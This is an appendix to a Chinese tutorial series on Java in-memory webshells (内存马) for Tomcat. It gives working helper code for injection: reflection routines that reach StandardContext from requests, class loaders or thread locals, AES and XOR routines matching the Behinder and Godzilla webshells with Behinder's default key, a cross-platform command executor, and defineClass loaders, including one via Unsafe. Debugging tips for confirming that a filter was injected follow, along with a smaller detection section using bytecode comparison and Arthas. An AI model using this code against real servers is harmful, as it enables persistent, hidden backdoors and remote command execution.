内存马 - 附录A 工具方法与调试

多个章节代码中引用了 getFieldValueaesEncrypt 等工具方法但未给出实现,本附录补全所有工具代码,并提供调试排错指南


通用反射工具方法

这些方法在注入内存马时会反复使用,建议背下来

getFieldValue —— 反射取值(万能版)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* 递归获取对象字段值(含父类)
* 用法:Object val = getFieldValue(request, "request");
*/
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass(); // 向父类查找
}
}
throw new NoSuchFieldException(
"Field '" + fieldName + "' not found in " + obj.getClass().getName()
+ " or any superclass");
}

setFieldValue —— 反射设值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
return;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}

invokeMethod —— 反射调用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramTypes,
Object[] params) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Method method = clazz.getDeclaredMethod(methodName, paramTypes);
method.setAccessible(true);
return method.invoke(obj, params);
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchMethodException(methodName);
}

获取 StandardContext 的完整实现

方式1:从 HttpServletRequest 获取(有 request 时)

1
2
3
4
5
6
7
8
9
public static StandardContext getContextFromRequest(HttpServletRequest request)
throws Exception {
ServletContext servletContext = request.getServletContext();

// ServletContext 实际是 ApplicationContextFacade
// ApplicationContextFacade → ApplicationContext → StandardContext
Object appCtx = getFieldValue(servletContext, "context");
return (StandardContext) getFieldValue(appCtx, "context");
}

方式2:从 WebappClassLoader 获取(无 request,最通用)

1
2
3
4
5
6
public static StandardContext getContextFromClassLoader() throws Exception {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
// WebappClassLoaderBase → resources (StandardRoot) → context (StandardContext)
Object resources = getFieldValue(cl, "resources");
return (StandardContext) getFieldValue(resources, "context");
}

方式3:从线程 ThreadLocal 遍历获取(最稳定的无 request 方案)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public static StandardContext getContextFromThread() throws Exception {
// 获取线程组中的所有线程
ThreadGroup group = Thread.currentThread().getThreadGroup();
Thread[] threads = new Thread[group.activeCount()];
group.enumerate(threads);

for (Thread thread : threads) {
if (thread == null) continue;

// 获取线程的 threadLocals (ThreadLocal.ThreadLocalMap)
Object threadLocals = getFieldValue(thread, "threadLocals");
if (threadLocals == null) continue;

// ThreadLocalMap 内部是 Entry[] table
Object[] table = (Object[]) getFieldValue(threadLocals, "table");
if (table == null) continue;

for (Object entry : table) {
if (entry == null) continue;
try {
Object value = getFieldValue(entry, "value");
if (value == null) continue;

// 情况1:直接是 ApplicationContext
if (value.getClass().getName().endsWith("ApplicationContext")) {
return (StandardContext) getFieldValue(value, "context");
}

// 情况2:是 Tomcat 的 Request 对象
if (value.getClass().getName().equals(
"org.apache.catalina.connector.Request")) {
return (StandardContext) invokeMethod(
value, "getContext", new Class[]{}, new Object[]{});
}
} catch (Exception ignored) {
// 很多 entry 不是我们要找的,忽略异常继续遍历
}
}
}
throw new RuntimeException("StandardContext not found in any thread");
}

自动选择方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* 自动尝试多种方式获取 StandardContext
* 在反序列化场景中直接调用此方法
*/
public static StandardContext getStandardContext(HttpServletRequest request) {
// 优先从 request 获取
if (request != null) {
try { return getContextFromRequest(request); } catch (Exception ignored) {}
}
// 其次从 ClassLoader 获取
try { return getContextFromClassLoader(); } catch (Exception ignored) {}
// 最后从线程遍历
try { return getContextFromThread(); } catch (Exception ignored) {}

throw new RuntimeException("All methods failed to get StandardContext");
}

AES 加解密完整实现

冰蝎/哥斯拉通信核心依赖的加密方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.security.MessageDigest;
import java.util.Base64;

public class CryptoUtil {

/**
* AES ECB 加密(冰蝎默认模式)
* @param data 明文字节
* @param key 密钥(16字节)
*/
public static byte[] aesEncrypt(byte[] data, String key) throws Exception {
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE,
new SecretKeySpec(key.getBytes("UTF-8"), "AES"));
return cipher.doFinal(data);
}

/**
* AES ECB 解密
*/
public static byte[] aesDecrypt(byte[] data, String key) throws Exception {
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE,
new SecretKeySpec(key.getBytes("UTF-8"), "AES"));
return cipher.doFinal(data);
}

/**
* AES CBC 加密(更安全,哥斯拉可选模式)
* @param iv 初始化向量(16字节)
*/
public static byte[] aesCbcEncrypt(byte[] data, String key, byte[] iv)
throws Exception {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE,
new SecretKeySpec(key.getBytes("UTF-8"), "AES"),
new javax.crypto.spec.IvParameterSpec(iv));
return cipher.doFinal(data);
}

/**
* MD5 摘要(用于密钥派生)
* 冰蝎默认密钥 = MD5("rebeyond").substring(0,16) = "e45e329feb5d925b"
*/
public static String md5(String input) throws Exception {
MessageDigest md = MessageDigest.getInstance("MD5");
byte[] digest = md.digest(input.getBytes("UTF-8"));
StringBuilder sb = new StringBuilder();
for (byte b : digest) {
sb.append(String.format("%02x", b & 0xff));
}
return sb.toString();
}

/**
* XOR 加密/解密(哥斯拉 XOR 模式)
*/
public static byte[] xorCrypt(byte[] data, byte[] key) {
byte[] result = new byte[data.length];
for (int i = 0; i < data.length; i++) {
result[i] = (byte) (data[i] ^ key[i % key.length]);
}
return result;
}

/**
* 读取 HTTP 请求体
*/
public static byte[] readBody(javax.servlet.http.HttpServletRequest request)
throws Exception {
int len = request.getContentLength();
byte[] buf = len > 0 ? new byte[len] : new byte[4096];
java.io.InputStream in = request.getInputStream();
java.io.ByteArrayOutputStream out = new java.io.ByteArrayOutputStream();
int n;
while ((n = in.read(buf)) != -1) {
out.write(buf, 0, n);
}
return out.toByteArray();
}
}

命令执行工具方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* 跨平台命令执行,返回输出字符串
*/
public static String execCmd(String cmd) throws Exception {
String os = System.getProperty("os.name").toLowerCase();
String[] cmds;
if (os.contains("win")) {
cmds = new String[]{"cmd.exe", "/c", cmd};
} else {
cmds = new String[]{"/bin/sh", "-c", cmd};
}

Process p = new ProcessBuilder(cmds)
.redirectErrorStream(true) // 合并 stderr 到 stdout
.start();

java.io.InputStream in = p.getInputStream();
java.io.ByteArrayOutputStream out = new java.io.ByteArrayOutputStream();
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
out.write(buf, 0, len);
}
p.waitFor();
return out.toString("UTF-8");
}

defineClass 动态加载类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* 方式1:通过反射调用 ClassLoader.defineClass(JDK 8)
*/
public static Class<?> defineClassFromBytes(byte[] classBytes) throws Exception {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method define = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, int.class, int.class);
define.setAccessible(true);
return (Class<?>) define.invoke(cl, classBytes, 0, classBytes.length);
}

/**
* 方式2:通过 Unsafe.defineClass(JDK 8-11,绕过模块限制)
*/
public static Class<?> defineClassByUnsafe(String className, byte[] classBytes,
ClassLoader cl) throws Exception {
java.lang.reflect.Field f = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) f.get(null);
return unsafe.defineClass(className, classBytes, 0, classBytes.length, cl, null);
}

/**
* 方式3:自定义 ClassLoader(最通用,所有 JDK 版本)
*/
public static Class<?> defineClassByCustomLoader(byte[] classBytes) {
return new ClassLoader(Thread.currentThread().getContextClassLoader()) {
@Override
public Class<?> findClass(String name) {
return defineClass(name, classBytes, 0, classBytes.length);
}
}.loadClass("payload"); // 注意 loadClass 会触发 findClass
}

字节码对比检测工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**
* 检测类是否被 Agent 修改过
* 原理:对比磁盘上的 .class 与 JVM 中实际运行的字节码
*/
public static boolean isClassModified(Class<?> clazz) throws Exception {
// 1. 读取磁盘上的原始字节码
String classFile = clazz.getName().replace('.', '/') + ".class";
java.io.InputStream is = clazz.getClassLoader().getResourceAsStream(classFile);
if (is == null) return true; // 无磁盘文件,必然是内存类

java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
byte[] buf = new byte[4096];
int len;
while ((len = is.read(buf)) != -1) {
baos.write(buf, 0, len);
}
byte[] diskBytes = baos.toByteArray();
is.close();

// 2. 获取当前 JVM 中的字节码需要 Instrumentation
// 这里提供一个近似方案:对比类的方法签名和字段
// 精确方案需要自己的 Agent 来 dump 运行时字节码

// 近似检测:检查类的方法数量是否与 .class 文件中一致
org.objectweb.asm.ClassReader cr = new org.objectweb.asm.ClassReader(diskBytes);
final int[] diskMethodCount = {0};
cr.accept(new org.objectweb.asm.ClassVisitor(org.objectweb.asm.Opcodes.ASM9) {
@Override
public org.objectweb.asm.MethodVisitor visitMethod(int access, String name,
String descriptor, String signature, String[] exceptions) {
diskMethodCount[0]++;
return null;
}
}, 0);

int runtimeMethodCount = clazz.getDeclaredMethods().length
+ clazz.getDeclaredConstructors().length;

// 方法数量不一致说明被修改过(粗略检测)
return diskMethodCount[0] != runtimeMethodCount;
}

调试排错指南

常见异常与解决

异常 原因 解决
NoSuchFieldException: request RequestFacade 包装层级变了 打印 request.getClass().getName() 确认实际类型
NoSuchFieldException: context Tomcat 版本不同,字段名不同 getDeclaredFields() 遍历查找
ClassCastException ClassLoader 不同导致同名类不兼容 确保使用 WebappClassLoader
InaccessibleObjectException JDK 9+ 模块系统限制 用 Unsafe 或 --add-opens 参数
IllegalStateException: filter already registered 重复注入 注入前检查 findFilterDef(name) != null
UnsupportedClassVersionError 编译版本高于运行版本 -source 1.8 -target 1.8 编译
FilterConfig instantiation failed ApplicationFilterConfig 构造器签名变了 反射遍历构造器确认参数

调试技巧

打印对象的所有字段(排查字段名问题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void dumpFields(Object obj) {
Class<?> clazz = obj.getClass();
while (clazz != null) {
System.out.println("=== " + clazz.getName() + " ===");
for (Field f : clazz.getDeclaredFields()) {
f.setAccessible(true);
try {
System.out.println(" " + f.getName() + " = " + f.get(obj));
} catch (Exception e) {
System.out.println(" " + f.getName() + " = [ERROR: " + e.getMessage() + "]");
}
}
clazz = clazz.getSuperclass();
}
}

确认 Filter 是否注入成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 注入后立即检查
FilterDef[] defs = standardContext.findFilterDefs();
System.out.println("Total filters: " + defs.length);
for (FilterDef d : defs) {
System.out.println(" " + d.getFilterName() + " -> " + d.getFilterClass());
}

FilterMap[] maps = standardContext.findFilterMaps();
for (FilterMap m : maps) {
System.out.println(" " + m.getFilterName() + " -> "
+ java.util.Arrays.toString(m.getURLPatterns()));
}

// 检查 filterConfigs
Field f = standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map<?, ?> configs = (Map<?, ?>) f.get(standardContext);
System.out.println("filterConfigs keys: " + configs.keySet());

用 Arthas 实时调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 1. 下载并启动 Arthas
curl -O https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar

# 2. 查看所有 Filter 类
sc *Filter* | grep -v '^org.spring'

# 3. 反编译可疑 Filter
jad --source-only com.example.SuspiciousFilter

# 4. 监控 Filter.doFilter 调用
watch javax.servlet.Filter doFilter '{params[0].getClass(), returnObj}' -x 2

# 5. 查看类的 ClassLoader 层级
classloader -t

# 6. 查看类是否被 retransform 过
sc -d com.example.SomeClass | grep classLoaderHash

# 7. dump 运行时字节码到文件
dump com.example.SuspiciousFilter
# 输出到 /tmp/arthas-output/

版本兼容速查

组件 Tomcat 7 Tomcat 8.5/9 Tomcat 10+
FilterDef 包 o.a.catalina.deploy o.a.tomcat.util.descriptor.web 同左(jakarta)
addFilterMapBefore 不存在 存在 存在
Servlet 命名空间 javax.servlet javax.servlet jakarta.servlet
ApplicationFilterConfig 构造器 (Context, FilterDef) (Context, FilterDef) (Context, FilterDef)
createWrapper 返回值 Wrapper Wrapper Wrapper

上一章 目录 下一章
09-持久化与实战串联 内存马